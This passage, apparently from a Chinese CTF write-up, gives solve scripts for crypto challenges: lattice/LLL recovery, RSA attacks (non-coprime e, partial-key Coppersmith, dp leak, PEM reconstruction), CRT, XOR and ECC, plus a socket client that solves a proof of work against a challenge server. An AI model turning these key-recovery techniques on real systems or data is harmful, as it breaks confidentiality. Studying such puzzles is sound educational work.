16711257143606850336586355581909703391105580636095435863487225535083010317005439435375105800641024112138121810242207127443011036209544967633123983636015153089843815287370646565071784002098183021489882046492609441708361550786752857773565252821037805549119284258373739189052221307754872723967188683410620808193, 106512227999048988543537542345636528925594107128125030635002665980574709006558840446189017357623681828677935125012144689963798865971782914704616798239451971370511961281779438306334353650663495164449411037055054859128957955413918744183200858441122917851347996800797164614883188302584586112732819164555910532500] a = [177876163920838720585474640511391249051418827853372387342635245341495792468826199544624082182728094652999191797576747605771062756630817438777653951772485569478516324903956113309190795622258346824643390004835397272889256696087356239515881459115499360779486974615331766141255410923960657795391638070660994726539, 154147211832384364492785997490497428696214843927503185938896425556028644075902949520267734189423717477702286854849502563505554965833703544305651488482204719931055591825164774932532116940955079750398001376723036214113076925445019856194390932639722726924707396244454184674407094860919513514591518499956074524561, 162236910312416448303316079284626131452444352290110477620135842885125003493068172330766174225997049094080836685617836911475638508283918576304502582848847097467251286819613975600023439985149604495163647781268904127545271241114039490048103188362740808427663167350820948490766499995036870926879430699822216419877, 156324330649465856865205652642919116551480610060830456323361514761783406613162826555066367215822747145109223530381689780625035795004458919262362420375225560790467893332585836287433463308447660726674632677063603419250881619682710122472587150879771212601074942044613408069114640355658551759306352327418458216623, 94727349364308455432706991721504607810501329870619614073375570944298709074650444442139356318854809081925625009516102978518170343525726627149123655332253529418292440747073463615106501530133930750010290051226765906194210372904323460884238665194406125116885468971886527174150462509520345910607640580833401931201] '''
https://dexterjie.github.io/2023/08/25/格密码进阶/ 我们这题的格跟这个很像。因为我不会在博客写格,凑合着看吧 注:已补上格。
c i ≡ a i × m + b m o d p c_i \equiv a_i \times m + b \mod{p} c i ≡ a i × m + b mod p 经过等价替换可得到:
c i = a i × m + b + l i × p a i × m + l i × p − c i = − b c_i=a_i \times m+b+l_i \times p \\ a_i \times m+l_i \times p-c_i=-b c i = a i × m + b + l i × p a i × m + l i × p − c i = − b 于是我们可以得到一个跟上图差不多的格,s e c r e t secret secre t 就是我们所求的m m m ,b i b_i b i 是我们的a i a_i a i ,r i r_i r i 是我们的c i c_i c i 。 右边的向量即为( b b b … K / p − K ) \begin{pmatrix}b & b & b & \dots & K/p & -K\end{pmatrix} ( b b b … K / p − K ) 格构造如下:
( l 1 l 2 … l n m − 1 ) ( p 0 … 0 0 0 0 p … 0 0 0 ⋮ ⋮ ⋱ ⋮ ⋮ ⋮ 0 0 … p 0 0 a 1 a 2 … a n K / p 0 c 1 c 2 … c n 0 K ) = ( b b b … K / p − K ) \small \begin{pmatrix} l_1 & l_2 & \dots & l_n & m & -1 \end{pmatrix}\begin{pmatrix} p & 0 & \dots & 0 & 0 & 0 \\ 0 & p & \dots & 0 & 0 & 0 \\ \vdots & \vdots & \ddots & \vdots & \vdots & \vdots \\ 0 & 0 & \dots & p & 0 & 0 \\ a_1 & a_2 & \dots & a_n & K/p & 0 \\ c_1 & c_2 & \dots & c_n & 0 & K \end{pmatrix}=\begin{pmatrix} b & b & b & \dots & K/p & -K \end{pmatrix} ( l 1 l 2 … l n m − 1 ) p 0 ⋮ 0 a 1 c 1 0 p ⋮ 0 a 2 c 2 … … ⋱ … … … 0 0 ⋮ p a n c n 0 0 ⋮ 0 K / p 0 0 0 ⋮ 0 0 K = ( b b b … K / p − K ) 为了使右列向量的比特位相同,b=getPrime(400), 且b < K, 显然K得取2 400 2^{400} 2 400 。 然后就继续愉快的套公式吧~
from gmpy2 import *from Crypto. Util.number import *p = 114770017142688382362918268558878024848633097928402093647914503696492833723966801545716194546592346338592062332306371502256979159033965343002132956304625610134374822329402499359634555710129039614275145668904822690744696925414716152630310915301980153974374009140517084226870950134327432658087834138202887501571 c = [ 25269157674120082500323585451842928560404625967932662908517922704871828513397233858615005968124017428639853960550468542894270451871612496631645175015826203493265945456529848647562285359912541672751550625137876486033809099678631009005979648033707322772087110235116987698692692467320479776960630479772236446980 , 75827517416784647262997004080634347924631190865715212882627791181841845414253117114184423517850773219376565782814219713490136873921446382123059696483594598328510450811390866671002685611755205236016843942407419858592870716928648777362367108239158432436307113173823883182666320180058177554647020175991566479974 , 4000439731719746534404360339840675006453847582492745979982221624660296805996044239209286181541462187650487112017410839740281883027081539802479046385802021188067656190594734619927933032154534742175380783895559841318520045144113562164247717915766667365412215754183668349398802684299015216478025166881475794536 , 16711257143606850336586355581909703391105580636095435863487225535083010317005439435375105800641024112138121810242207127443011036209544967633123983636015153089843815287370646565071784002098183021489882046492609441708361550786752857773565252821037805549119284258373739189052221307754872723967188683410620808193 , 106512227999048988543537542345636528925594107128125030635002665980574709006558840446189017357623681828677935125012144689963798865971782914704616798239451971370511961281779438306334353650663495164449411037055054859128957955413918744183200858441122917851347996800797164614883188302584586112732819164555910532500 , ] a = [ 177876163920838720585474640511391249051418827853372387342635245341495792468826199544624082182728094652999191797576747605771062756630817438777653951772485569478516324903956113309190795622258346824643390004835397272889256696087356239515881459115499360779486974615331766141255410923960657795391638070660994726539 , 154147211832384364492785997490497428696214843927503185938896425556028644075902949520267734189423717477702286854849502563505554965833703544305651488482204719931055591825164774932532116940955079750398001376723036214113076925445019856194390932639722726924707396244454184674407094860919513514591518499956074524561 , 162236910312416448303316079284626131452444352290110477620135842885125003493068172330766174225997049094080836685617836911475638508283918576304502582848847097467251286819613975600023439985149604495163647781268904127545271241114039490048103188362740808427663167350820948490766499995036870926879430699822216419877 , 156324330649465856865205652642919116551480610060830456323361514761783406613162826555066367215822747145109223530381689780625035795004458919262362420375225560790467893332585836287433463308447660726674632677063603419250881619682710122472587150879771212601074942044613408069114640355658551759306352327418458216623 , 94727349364308455432706991721504607810501329870619614073375570944298709074650444442139356318854809081925625009516102978518170343525726627149123655332253529418292440747073463615106501530133930750010290051226765906194210372904323460884238665194406125116885468971886527174150462509520345910607640580833401931201 , ] n = len (a) M = Matrix(QQ, n + 2 , n + 2 ) for i in range (n): M[i, i] = p M[-2 , i] = a[i] M[-1 , i] = -c[i] K = 2 ^ 400 t = K / p M[-2 , -2 ] = t M[-1 , -1 ] = K L = M. LLL() x = L[1 ][-2 ] // t m = x % p print (int (m).bit_length())print (long_to_bytes(int (m)))
LinkedListModular 逆向部分我不会,主要说我的逆向队友爆出来的部分:
p:0xae1e96a501b0360bd9ca423f2d9366e7c01c56e2d02dd20effc4c290e8bbd2cc53bb2a65b5262e254418d706335708ebd713cf9fac04fb1209d666adc6ebb6fee8c97a8dde4c23d3704198f918de46fe69a0d4d7878341c25118e7d1ac368753ce45f77b64580e0a89e300ac8f1be75d3a001df26bcfdaf82a479e14f6f25bfb
q:0xcfc337e9217545d01babb00c330747aed4e6d99df42892bffce38e9b5c8a89d0528a7daac8d0075d72813669bc332688c9f6df2793b393580ac71f05db159e2dee3a6fd34ca2ba5ccae8428efefd6ee5454b6751ca71c008468278d7fe911e8c292172fa77468e996d80f4661c24ccdcc76c655a9168b0edeed165b2dd89501b
e:0xd322
c:0x6f23dc633746ecd6f6b6c753556a969ded7f9033b7617d4497b3a3ac685b92063e42c5657a01604ed084035637440889bd6865449021a15dfa33ed2d9531f50c41d452df7399554a35f4340993d64c9e1c7b54894d291b33ac95b39719093d788a1d218f54f00494990f8aff3d09e21edae2172cd8b42ae6f8abfdb05e5d9a6ff4b5092f60f8ce2a576e429a80bd15fc7073d75415c824fc450a9295128e30804760179bc3213ade1121d615f7ebbf192f93dd25031de12e12e15ae189db525ddbdfb2f54f098c0a027b6b1277c22108dfd2699f7946ce51f1c73a78721896bd8baa3b7fa4dfc063ab212eb0684531f372f2edc7b1f7baa3353b55cc750b95ff
p:0x7a7b8ee72d467eefe378502ca7804e0b55e0b68987dd7e8c03f7f7f717554183d2a0d99c7b33e8e1a28be171b77f8974616ac49645d7d5cf6fe5f4dcbfd1d25c3ad75e1eb3e4038d55a29c7114e176fd34626c2a8e76021d079cdb85cc8016acab00047910dfa5cd0439a3cc13527557ea879c184454a443711083a4f9d1d46b
q:0xc17c7a7fbc5469af413f79c07cc5b892cfbbaa00950b115e267e83e2669f3f6779c7302ecfc9f850e0e4185892e96d356d65b1d372432c5a3f297cfb8373fe9a090a3f8dadf6ef6f2ca5b5107454ee6b1385d165bb4bb7776cbbccb8de1993a5ebb34ee365ff39b9ec9613121ba99d74759e0bf80726805ce03ed7f1e49375f1
e:0x10ae
c:0x5be0df3bb240ffd53f2d914eb79878231821a1dba5cc491a888c8fd553a905a7f1cea2750c39ea48ab4175115591310c0f9d63e1aee9d2480780f3ce4f98c57114cd2901ea6f560e04a0a9cec157dac3def734fa10ab54c27bf20211cf1f1f6f6afe5fc9ef5c9af864f054a5e61c48c6e6dc087cc350008d4232d08b0b5011923f1077ead75d54a792aa8a51a0b37bfa3faef0b9380cff209c7bf3a20fbbb087caf177b83c9bf03e965bd7347dd18418f3e50aef29cc89fa594ccd31b6f63f397eeba71629fec2c8699148dfd6be32deb96577690814bb4fe6dbefe2379468e0e317a870795ba04ab2e306fe5340700c415048eff5909a2453752845572a0931
p:0xa2562b53b1ff8b9635122c92612d8b6ea43ac0e40115c03befc0fb1bdefcda35a77f1cf23e5fdfa51ee864dac707524584cf4243cade36ea0b2ce14d9337d796f85b730483e7b6e342d44a36a1bc4052125b4eaef3724af9cfb8cab719d9efc54df851042408c2f69c1e5f46f00f067f7fa5cf7a3cb227879cbdefac7eab6cd3
q:0xfeec12d4602e4895f53715d7e5a7583ee93c49079480aadae13c7c9d720a5fd976b6b9ac5ef65570f9e9d9b6d0b0b39f1372ea819bc14cc10a0a23a7f22f60c1a4fc536ebc4997bb873db9d8cb34f58fec2a05dc766cb865e09aa6c1a059713ccb1b31a9c986ecd4f45dc53c95e32ae6d370ee3566daa8b5f5bf6fe5fa20cd0f
e:0xc051
c:0xa798cb067b716ae1382d2070efb8bdb71050b88d9503a68fe5e851999071e4ee9f72c88b3975de09e8f436566d75f90e6388fddb3497b1e8f8f6bf8ad13cd35040d6b5b3f2e3ba3b1dddf14800840b0bfb08f25b5546cd5a34025e8eaaf289478c5f1b91229a31c980f773deb90cc0752da82aa17585bb616fc0b4f0749003a36f11acbdd4e85f7b092ee3864835c1063afccdbf3b585855a03e904cbc9c7fe9d86011a1237e396e4e2c72deec76829de7e67282cda86abd348bb98aac5ea83f3735c70a29f45cff6b4b76b03f12c4ea936368d13ba15a87da416a91be05ebaa0e67e1070e5d7a15f178c42ff05bab0e3de009f00b8e4cecf950f7250427e12
p:0xb06c6c2ac320c555cc4bc5bc89976436582de33d77788ed0eb1e5b726e242c2890ede50d918d3b7cab74141519e43761f515590279fb4fa8674a94d0985aedfa4b54580307416aa1888015e12e2536350ffa418203161b5fb2438035160327e21f4015d4b7393d90fff50f8d5be3da08abefac23898a55dc60a24470c8fe76eb
q:0xadabc61519e9642517eb5c2a4a416f34c62a2c1ea6ec4c1d0d4686a95c31dcabba2c13fa8217e14fc541857b846d88027a1f7cfee9aba0757c3a92ab579086586c0e52b8184de0c69ae674b034342b0db40955fbffdc84ee875b9b84f7d2bf32836f03c304b34fea2ea03731af95d9156b91a16ff9338fe8a9fce24525b65509
e:0xd2c2
c:0x11861752a8ca58b777300efbc8ed05ea54d0c326cbfb573a0bd21fe5a20191b03f07be7aea9ac192adbe48726a0a03ccc838375d7c4fcd0b8814578fad47ea0407281bbb205960c6453fff81584ce334a23960c6321c720da7b190281c6d46b55e3bab0493d8ff6cf3855a2a6039c259f955e2cbdfb9dcabc813ad82c5333d535950e28cfb2aa556c32700f64c2b63058cf33fe6c40677a93d8c80a0f9db60da1ce90182ed0aa6ed33a2a9288dc9ff19ed9bffb59991bddf282b38a59ded27f71c4e5e0190e5244d916556c033bb2a184c87cf1923fb87902fa9dbb5ad5f927249bedfa4b47e5a379297926e3216a808b93ea2c7bf014c0b7ae29eacf595a43e
它说用轩禹直接解解不出来,注意到题目说注意e和phi,能看出e和phi不互素。 然后就发他了个脚本解决(这题不需要考虑t=2时的二次同余)
import gmpy2from Crypto.Util.number import *import libnumdef decrypt (p, q, e, c ): n = p * q phi = (p - 1 ) * (q - 1 ) t = gmpy2.gcd(e, phi) d = gmpy2.invert(e // t, phi) print (d) m = pow (c, d, n) msg = gmpy2.iroot(m, t) if msg[1 ]: print (msg[0 ]) p = 0x7A7B8EE72D467EEFE378502CA7804E0B55E0B68987DD7E8C03F7F7F717554183D2A0D99C7B33E8E1A28BE171B77F8974616AC49645D7D5CF6FE5F4DCBFD1D25C3AD75E1EB3E4038D55A29C7114E176FD34626C2A8E76021D079CDB85CC8016ACAB00047910DFA5CD0439A3CC13527557EA879C184454A443711083A4F9D1D46B q = 0xC17C7A7FBC5469AF413F79C07CC5B892CFBBAA00950B115E267E83E2669F3F6779C7302ECFC9F850E0E4185892E96D356D65B1D372432C5A3F297CFB8373FE9A090A3F8DADF6EF6F2CA5B5107454EE6B1385D165BB4BB7776CBBCCB8DE1993A5EBB34EE365FF39B9EC9613121BA99D74759E0BF80726805CE03ED7F1E49375F1 e = 0x10AE c = 0x5BE0DF3BB240FFD53F2D914EB79878231821A1DBA5CC491A888C8FD553A905A7F1CEA2750C39EA48AB4175115591310C0F9D63E1AEE9D2480780F3CE4F98C57114CD2901EA6F560E04A0A9CEC157DAC3DEF734FA10AB54C27BF20211CF1F1F6F6AFE5FC9EF5C9AF864F054A5E61C48C6E6DC087CC350008D4232D08B0B5011923F1077EAD75D54A792AA8A51A0B37BFA3FAEF0B9380CFF209C7BF3A20FBBB087CAF177B83C9BF03E965BD7347DD18418F3E50AEF29CC89FA594CCD31B6F63F397EEBA71629FEC2C8699148DFD6BE32DEB96577690814BB4FE6DBEFE2379468E0E317A870795BA04AB2E306FE5340700C415048EFF5909A2453752845572A0931 decrypt(p, q, e, c)
最后加起来md5就做出来了
Number theory 风二西的题库能找到第一部分
第二部分有点像2024年强网杯的abpq,但比它简单。 wp参考自https://github.com/josephsurin/my-ctf-challenges/blob/509f60c5e57f773fe768f01d573effcf0d5e010b/downunderctf-2023/apbq-rsa-i/solve/solv.py 一个比赛用一个,爽
from Crypto. Util.number import *from gmpy2 import gcdfrom math import isqrth0 = 3220497006402049508998763812708472832647814868290156746347730942871191356255789659370553564805270033069126673720344310199953651087754072020225702916105541813428786992668144172000495857408180695235017329451164552864440669887978780387408892281885728829108705426036377534262123812335152528611168777211280571694805002313718755871797426493929314877273385162106226582910473718696585558235361302211164190022765345477880209355073870857330694309139033191510002831755011163554405501084092882774630793037506647051531578470767441695642108269033577519614546722167605348209455599860877630930453549375215766657975702946679735793440 n1 = 20609629372145649869124883931477035418773265506807982287973634398860995335157854064383658546598627777214414513344620919765235474447787454254677033199140440513722365295528339478763686234572386246701669139829187532179573583918405628738545887852577214800663095592976049188005405242091639210252676232732956312108538849591909382864675439965387851084691144379692503823575367370407191667133473482821484955537306602611587604747693171586870973700406072872451067709522642066831289686968535823774273770385924779368338446367102184983154486987531633971065357864924738084803301054789863293592286600424063888458243900130876991944561 q = gcd(pow (2024 , n1, n1) - h0, n1) p1 = n1 // q assert p1 * q == n1print ("p1=" , p1)print ("q=" , q)""" p1= 173372720206385834569678471333958784638586614453461924694852799411511525290419983713543942463722586256841515819523624239173976987599088346657357916198852116172460701468448365355983089723151147709153372627090761707327697899769559661187061166392094719933102425550671003720484285964838360777691632929809407043791 q= 118874695786116734917065043442458952547874656505388902849583986739750433740760352688054822604427183355141871756128562592954061494068247418404217180198818025424511398092449124305805738302689459754842048957858402877387959339315483803736974651246922275580029822892751678239186974759117933061631242872453942209471 """ from tqdm import tqdmimport itertoolshints = [ 49194502383195208917988199785355579000471120627698824524136563939112767971337049691779758664899497703009458337602635607307068610164325874221815125058246159504553260658300727486252329656228567456351563661171511248498573151135374757953887871426130912974127123668357951196795364055703535399924661649957282476915345782505912688106575686848420343362888 , 56029812337811022982598747354987989915364610368395101948222609237230875599013444593473706280586983516630982411154519894488542135837471701015074142753084529513202513061481615522865380857058628008542724882609524855349464549317203533208567803034618377155637303135785566874122555481931560957334493233423618193735362609235034574175221191665401074291634 , ] n2 = 21127172569887870569621986802814771398069606826661397979515556618791602174698226712111670185315617811180192688381471253591193212149192104216153890060029438171543010427356810059660168369171504065120474047401466632600230981702536898738744701541132759858595341068713321976579864810553447534204513491008705215041861247277449063318972113826820821732327255577559447446606667162763843696891825420560307688553022453470653875157114663943723258181186659915926780802902213978395961981750159147594076399769386787561910947372748908551775527715538708855235861297549189165238857651886658156332640360898769204102407630920314871304057 c = 5607552428806279725164332098717496105359323731793797865776852054987286366396268835656116948807084338497364746716217052175055013330847114498067023163878490040957130515880922531725226729467904687450269817551037876044274898360914422201634758724176912018795267171627398316542607462818553194467631468793807762529509728325759331142060865432879561622747895422022839077034959965640817419843376693946391886148327389538923557583964708218796910422008150480950732394548385083016293891237783400286493750498647816940000092965104858068292374074379723230507283787259827582725133425982004517180631242028412315096023451549819804660838 for a1, a2 in tqdm(list (itertools.product(range (2 **13 ), repeat=2 ))): kp = gcd(a1 * hints[0 ] - a2 * hints[1 ], n2) if 1 < kp < n2: print ( "find!" , kp, a1, a2 ) break for i in range (2 **16 , 1 , -1 ): if kp % i == 0 : kp //= i p = kp q2 = n2 // p assert p * q2 == n2e = 65537 phi = (p - 1 ) * (q - 1 ) d = inverse(e, phi) m = pow (c, d, p * q) flag = long_to_bytes(m).decode() print (flag)
X0R 问gpt的
from Crypto.Util.number import long_to_bytesf1 = 4585958212176920650644941909171976689111990 f2 = 3062959364761961602614252587049328627114908 e2 = 10706859949950921239354880312196039515724907 flag_prefix = b"SYC{" e1 = e2 ^ f2 enc = e1 ^ f1 enc_bytes = long_to_bytes(enc) key_bytes = bytes (a ^ b for a, b in zip (flag_prefix, enc_bytes[:4 ])) flag = bytes ( a ^ b for a, b in zip (enc_bytes, key_bytes * (len (enc_bytes) // len (key_bytes))) ) print (key_bytes)print (flag)
自己后来的解法
from Crypto.Util.number import *from pwn import xorf1 = 4585958212176920650644941909171976689111990 f2 = 3062959364761961602614252587049328627114908 e2 = 10706859949950921239354880312196039515724907 e1 = f2 ^ e2 enc = e1 ^ f1 enc = long_to_bytes(enc) key = xor(enc, b"SYC{" )[:4 ] print (key)print (xor(key, enc))
ncoCRT gpt*2
from sympy.ntheory.modular import crtfrom Crypto.Util.number import long_to_bytesp = [ 1921232050179818686537976490035 , 2050175089402111328155892746480 , 1960810970476421389691930930824 , 1797713136323968089432024221276 , 2326915607951286191807212748022 , ] c = [ 1259284928311091851012441581576 , 1501691203352712190922548476321 , 1660842626322200346728249202857 , 657314037433265072289232145909 , 2056630082529583499248887436721 , ] m, _ = crt(p, c) m_bytes = long_to_bytes(m) flag = m_bytes[:-23 ] print (flag)
ezRSA 经典的m高位泄露,套脚本
import libnumdef phase2 (high_m, n, c ): R.<x> = PolynomialRing(Zmod(n), implementation='NTL' ) m = high_m + x M = m((m^3 - c).small_roots()[0 ]) print (libnum.n2s(int (M))) h = 111518648179416351438603824560360041496706848494616308866057817087295675324528913254309319829895222661760009533326673551072163865 high_m=(h+2023 )//2024 n = 98776098002891477120992675696155328927086322526307976337988006606436135336004472363084175941067711391936982491358233723506086793155908108571814951698009309071244571404116817767749308434991695075517682979438837852005396491907180020541510210086588426719828012276157990720969176680296088209573781988504138607511 c =9379399412697943604731810117788765980709097637865795846842608472521416662350816995261599566999896411508374352899659705171307916591351157861393506101348972544843696221631571188094524310759046142743046919075577350821523746192424192386688583922197969461446371843309934880019670502610876840610213491163201385965 phase2(high_m, n, c)
凯撒加密
nc gpt*3
import socketimport hashlibimport stringimport itertoolsHOST = "nc1.ctfplus.cn" PORT = 17384 def solve_proof_of_work (suffix, hexdigest ): """ Solve the Proof of Work challenge by brute-forcing the first 4 characters. """ print (suffix, hexdigest) for x in ( "" .join(c) for c in itertools.product(string.ascii_letters + string.digits, repeat=4 ) ): if hashlib.sha256((x + suffix).encode()).hexdigest() == hexdigest: return x.encode() return None def get_flag (): """ Connect to the server, solve the Proof of Work, and retrieve the flag. """ with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: s.connect((HOST, PORT)) data = s.recv(2048 ).decode() print (data) _, rest = data.split("sha256(XXXX+" ) proof, hexdigest = rest.split(") == " ) hexdigest = hexdigest.strip() prefix = solve_proof_of_work(proof.strip(), hexdigest) if not prefix: print ("Failed to solve Proof of Work" ) return s.sendall(prefix + b"\n" ) response = s.recv(2048 ).decode() print (response) if "Wrong" in response: print ("PoW failed." ) return response = s.recv(2048 ).decode() flag = "" for i in range (1 , 33 ): s.sendall(f"{i} \n" .encode()) response = s.recv(2048 ).decode() print (response) if "[+]" in response: flag += response.split("[+] " )[1 ] else : print ("Invalid response:" , response) break flag = flag.replace("[-] " , "" ).replace("\n" , "" ) print ("Flag:" , flag) if __name__ == "__main__" : get_flag()
highlow https://life-extension.github.io/2020/03/29/Coppersmith攻击方式小结/ 转成p已知高位和低位的攻击
from Crypto.Util.number import *flag = 'z' *44 f = hex (bytes_to_long(flag.encode())) pxor = 124229245244085791439650934438639686782423445183921252684721764061493908790073948877623812930339081158169421854801552819088679937157357924845248082716160727839419054107753000815066526032809275137495740454967765165248115412626716101315676902716808647904092798908601183908297141420793614426863816161203796966951 print (f,len (str (f[2 :])))print (hex (pxor),len (str (hex (pxor))[2 :]))print ('high = ' ,hex (pxor &0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 ))print ('low = ' , hex (pxor &0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff ))
high = 0xb0e8877e79882c5a79d179cb1210757cd772be928e737659579dfaf8c5e5ad07e3ea00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
low = 0x496dcf99798bd0ffe272a7a8b73030ed1510c5970a7084ac319258d90fd5607278fd5ec3784f1e05ed5849ad42df621fe27
size = 2048 sizep= 1024 knownbits= 134 *4 N = 14091206320622523674847720139761543154822190879035380245424481267482550932229611965964424965958386255076593911062804299275581742665134207390532802109700225140999812698020838683697375891035625255222001884477214361835101442288725383073334392995186053867261497679234362794914108033574681292656522807928680812726462195077833184018122369579002715900477290345396065912536529290811962117814900448319776590712946259540382461632468634827959957286905806432005632864663985014872365672653476822833921870071851313424903481282350342304819149894610089804321405589433980650340610521659031234826823369114800150883988613877877881069579 R = 2 **(knownbits//2 ) invR = inverse_mod(R,N) p_msb = 0xb0e8877e79882c5a79d179cb1210757cd772be928e737659579dfaf8c5e5ad07e3ea00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 p_lsb = 0x496dcf99798bd0ffe272a7a8b73030ed1510c5970a7084ac319258d90fd5607278fd5ec3784f1e05ed5849ad42df621fe27 F.<x> = PolynomialRing(Zmod(N)) f = x + (p_msb+p_lsb)*invR x0 = f.small_roots(X=2 ^(sizep-knownbits)-1 , beta=0.44 , epsilon=1 /64 )[0 ] print ("reconstructed p: {:x}" .format (Integer(x0*R)+p_msb+p_lsb))
RnoCRT 风二西题库又秒了 [V&N2020 公开赛]CRT(中国剩余定理模数不互质)https://blog.csdn.net/weixin_44110537/article/details/107396080
import hashlibimport gmpy2import mathdef merge (a1, n1, a2, n2 ): d = math.gcd(n1, n2) c = a2 - a1 if c % d != 0 : return 0 c = (c % n2 + n2) % n2 c = c // d n1 = n1 // d n2 = n2 // d c *= gmpy2.invert(n1, n2) c %= n2 c *= n1 * d c += a1 global n3 global a3 n3 = n1 * n2 * d a3 = (c % n3 + n3) % n3 return 1 def exCRT (a, n ): a1 = a[0 ] n1 = n[0 ] le = len (a) for i in range (1 , le): a2 = a[i] n2 = n[i] if not merge(a1, n1, a2, n2): return -1 a1 = a3 n1 = n3 global mod mod = n1 return (a1 % n1 + n1) % n1 ms = [ 207867980504656835313307696396607264603 , 245036212212570610987366430554968489325 , 270836744824069537438646110613439698666 , 319275775495422875474878625752594133023 , 254268823435329877199449670714528712873 , 213093607196415232366564484229844568444 , 246921085368773491003187313772615702950 , ] cs = [ 150031581047390726903711035932621949276 , 21260202376534810598778595491323328519 , 144049733622518360270048059408969512643 , 236920143187836025924037873968303507493 , 99781504248790469459151935530031893836 , 69236016568483424294966410179787943383 , 20613188366058016717435734248097940419 , ] x = exCRT(cs, ms) flag = hashlib.sha256(str (x).encode()).hexdigest() while "6a651" not in flag: x = x + mod flag = hashlib.sha256(str (x).encode()).hexdigest() print (flag)
ecc https://dexterjie.github.io/2023/07/25/非对称加密/ECC/
from Crypto.Util.number import *p = 93202687891394085633786409619308940289806301885603002539703165565954917915237 a = 93822086754590882682502837744000915992590989006575416134628106376590825652793 b = 80546187587527518012258369984400999843218609481640396827119274116524742672463 k = 58946963503925758614502522844777257459612909354227999110879446485128547020161 E = EllipticCurve(GF(p),[a,b]) c1 = E([40485287784577105052142632380297282223290388901294496494726004092953216846111 , 81688798450940847410572480357702533480504451191937977779652402489509511335169 ]) c2 = E([51588540344302003527882762117190244240363885481651104291377049503085003152858 , 77333747801859674540077067783932976850711668089918703995609977466893496793359 ]) cipher_left = 34210996654599605871773958201517275601830496965429751344560373676881990711573 cipher_right = 62166121351090454316858010748966403510891793374784456622783974987056684617905 m = c1 - k * c2 flag1 = cipher_left//m[0 ] flag2 = cipher_right//m[1 ] print (flag1,flag2)print (long_to_bytes(int (flag1))+long_to_bytes(int (flag2)))
dp import gmpy2import libnumc = 127916287434936224964530288403657504450134210781148845328357237956681373722556447001247137686758965891751380034827824922625307521221598031789165449134994998397717982461775225812413476283147124013667777578827293691666320739053915493782515447112364470583788127477537555786778672970196314874316507098162498135060 n = 157667866005866043809675592336288962106125998780791920007920833145068421861029354497045918471672956655205541928071253023208751202980457919399456984628429198438149779785543371372206661553180051432786094530268099696823142821724314197245158942206348670703497441629288741715352106143317909146546420870645633338871 e = 65537 dp = 2509050304161548479367108202753097217949816106531036020623500808413533337006939302155166063392071003278307018323129989037561756887882853296553118973548769 for i in range (1 , 65537 ): p = (dp * e - 1 ) // i + 1 if n % p == 0 : q = n // p break print (q)phi_n = (p - 1 ) * (q - 1 ) d = gmpy2.invert(e, phi_n) m = pow (c, d, n) print (m)flag = libnum.n2s(int (m)).decode() print (flag)
inPEM(复现) 给了公钥和私钥的部分,直接手撕,注意删掉私钥第一个w
from Crypto.Util.number import *from Crypto.PublicKey import RSAfrom Crypto.Cipher import PKCS1_OAEPimport base64c = open ("key.enc" , "rb" ).read() c = bytes_to_long(c) print ("c =" , c)file = "public.pem" with open (file, "rb" ) as f: key = RSA.importKey(f.read()) n = key.n e = key.e print ("n =" , n) print ("e =" , e) data = """ZyyAzKowuDD1R48UelUskEv0W8AXLOHR4nni 2uqP/7tlAPCJrMVD8zoRsRviyUnqO6y7cV7G0Fo1AoGBALpb6vOC9Ya/BEYV8+yL 814K0KQc7LITkwqGrDWoDZAxmgWqVtoxHuhDWr5jF+ttFZBPx4fTezTEjarXXSt3 pB1c7EwnzO0Hy9qJH++g2dcCUCO8uGXBbAACZqCQZAAydSrM5zozWAYMBWcj54j0 LtyOEg4PWPXiTzJ//xxWaH+xAoGBAKFGRIyYD89JvlZA6oz7YnjzsnDlTq01td32 XAuw62dZQHWmg1npC3YtzFlgTyNY2QelObmryyc2vFnxVhTYcDXFLQwrX8X5YV4A rFAAlyzxpNzYPzDHrdqLD6PhMU+wRuHVPyAtNBsL0N+mgQcsWJJvngSTHg86kJOl HlNuLBGhAoGAFiG3VR+lubcPvXOVAvkt+c8rF6qcmXlb2Og0hNwDJ2roX98aqOVy p5AWGPoA1siI4/RPIp1ClfEwKMjraun1ZJs/jKemaQk2hdhWkQ+6QinvUJbA1Lqm TcRmKa1emY/U6I8ce6N69e7ver1DV4I/ugSahJlZT/JRyF5qj1uVZ/k=""" tb = base64.b64decode(data) print (tb.hex ())""" 672c80ccaa30b830f5478f147a552c904bf45bc0172ce1d1e279e2daea8fffbb6500f089acc543f33a11b11be2c949ea3bacbb715ec6d05a35 028181 00ba5beaf382f586bf044615f3ec8bf35e0ad0a41cecb213930a86ac35a80d90319a05aa56da311ee8435abe6317eb6d15904fc787d37b34c48daad75d2b77a41d5cec4c27cced07cbda891fefa0d9d7025023bcb865c16c000266a090640032752acce73a3358060c056723e788f42edc8e120e0f58f5e24f327fff1c56687fb1 # 即dp=d%(p-1) 028181 00a146448c980fcf49be5640ea8cfb6278f3b270e54ead35b5ddf65c0bb0eb67594075a68359e90b762dcc59604f2358d907a539b9abcb2736bc59f15614d87035c52d0c2b5fc5f9615e00ac5000972cf1a4dcd83f30c7adda8b0fa3e1314fb046e1d53f202d341b0bd0dfa681072c58926f9e04931e0f3a9093a51e536e2c11a1 # 即dq=d%(q-1) 028180 1621b7551fa5b9b70fbd739502f92df9cf2b17aa9c99795bd8e83484dc03276ae85fdf1aa8e572a7901618fa00d6c888e3f44f229d4295f13028c8eb6ae9f5649b3f8ca7a669093685d856910fba4229ef5096c0d4baa64dc46629ad5e998fd4e88f1c7ba37af5eeef7abd4357823fba049a8499594ff251c85e6a8f5b9567f9 # 即cf=(inverse of q) mod p """ dp = 0x00BA5BEAF382F586BF044615F3EC8BF35E0AD0A41CECB213930A86AC35A80D90319A05AA56DA311EE8435ABE6317EB6D15904FC787D37B34C48DAAD75D2B77A41D5CEC4C27CCED07CBDA891FEFA0D9D7025023BCB865C16C000266A090640032752ACCE73A3358060C056723E788F42EDC8E120E0F58F5E24F327FFF1C56687FB1 dq = 